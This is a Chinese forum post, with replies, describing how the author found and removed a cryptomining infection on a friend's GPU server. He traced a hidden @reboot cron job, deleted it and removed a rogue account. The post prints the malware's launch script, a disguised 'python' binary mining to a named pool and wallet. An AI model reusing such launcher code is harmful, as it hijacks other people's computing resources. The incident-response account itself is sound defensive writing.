记一次挖矿病毒清除记录（很水）

执念e1

本帖最后由 执念e1 于 2022-4-14 12:53 编辑

分析背景
一个朋友做机器学习的机器疑似中了挖矿，显卡被python起来的进程100%占用。每次杀死进程后重启，进程就回来了，让给看看排查一下。这篇文章会很水，只有几条简单的命令，后续并没有对入侵路径进行回溯。但还是抱着分享的心态写一下，希望对没接触过的部分朋友有帮助。
机器状态
如下图，查看显卡的状态，几个python进程百分之百占用。

使用top命令看一下

其实上面两图都是朋友发过来的，直接看图也没法定位出具体问题来。

然后跟朋友要了vpn和机器的账号密码直接root登录。

排查过程
因为朋友说重启后显卡还是被占用状态。

直接执行

crontab -l
看下是否有可以进程，一步到位。看这个路径形式，基本有谱了。又问了一下朋友最早发现显卡状态的时间与upd文件写入的时间，基本吻合。

查看了下.unix-front路径，存在这些文件。

在其中某个文件里面发现如下代码

if [ ! -d "proxy" ];    then proxy=`cat proxy` $ifsudo nohup ./python -a ethash -o stratum+ssl://node.universitynetservice1979.info:12020 -u 0xfff23333c1cb3a3c9db8a0d781383cdc2c00b6da.$User --proxy $proxy>>/dev/null & else $ifsudo nohup ./python -a ethash -o stratum+ssl://node.universitynetservice1979.info:12020 -u 0xfff23333c1cb3a3c9db8a0d781383cdc2c00b6da.$User >>/dev/null & fi

其实看到这个协议基本就稳了，占用显卡挖矿的病毒就是这个导致的。

清除善后
执行如下指令，清空原来的开机自启动的配置。

crontab -r
当然，删除之前一定保留下原来的配置，虽然这次基本稳当了。但万一在处理客户系统时候删错，因此宕机，没法恢复，就凉凉了。

@reboot /bin/.unix-font/upd >/dev/null 2>&1

删除后，reboot重启机器，发现显卡降了下来，

确定了是这个自启动的原因，直接删除。

捎带看了一眼/etc/passwd文件，发现存在一个可疑账户，问了下，都没见过，使用pwck修复/etc/passwd文件然后直接删除。

其他关于溯源，正常来说是要分析一下溯源，他们之前已经进行了很多操作了，一些日志也被破坏了。加上毕竟友情协助，就到这里啦。

希望对大家有一丝的帮助

执念e1

https://xz.aliyun.com/t/11102
大佬写的个挖矿检测心得，有兴趣的可以看看，我这看了几下就头疼，以后

自己碰到了

在说吧

执念e1

过两天如果没事的话预计会出一篇关于漏洞复现的帖子
到时候大佬们来交流交流哈

王一之

我机器前两天也被挖坑了。。。。不知道是什么原因，已经停了换服务器，反正也是快到期的

王一之

排版有点乱，是编辑器的问题吗？

我处理了一下，好像有些图片没用上

执念e1

王一之 发表于 2022-4-14 14:37
排版有点乱，是编辑器的问题吗？

我处理了一下，好像有些图片没用上

不知道，最下面几张图片本来已经删了，但是发出来发现在最下面，点开编辑也没显示有，试了几次就没多管了

王一之

执念e1 发表于 2022-4-14 15:27
不知道，最下面几张图片本来已经删了，但是发出来发现在最下面，点开编辑也没显示有，试了几次就没多管了 ...

好像要返回默认的编辑器编辑一次

李恒道

哥哥原创的码
还是挺厉害的！

极品小猫

这里是要发展成吾爱的态势？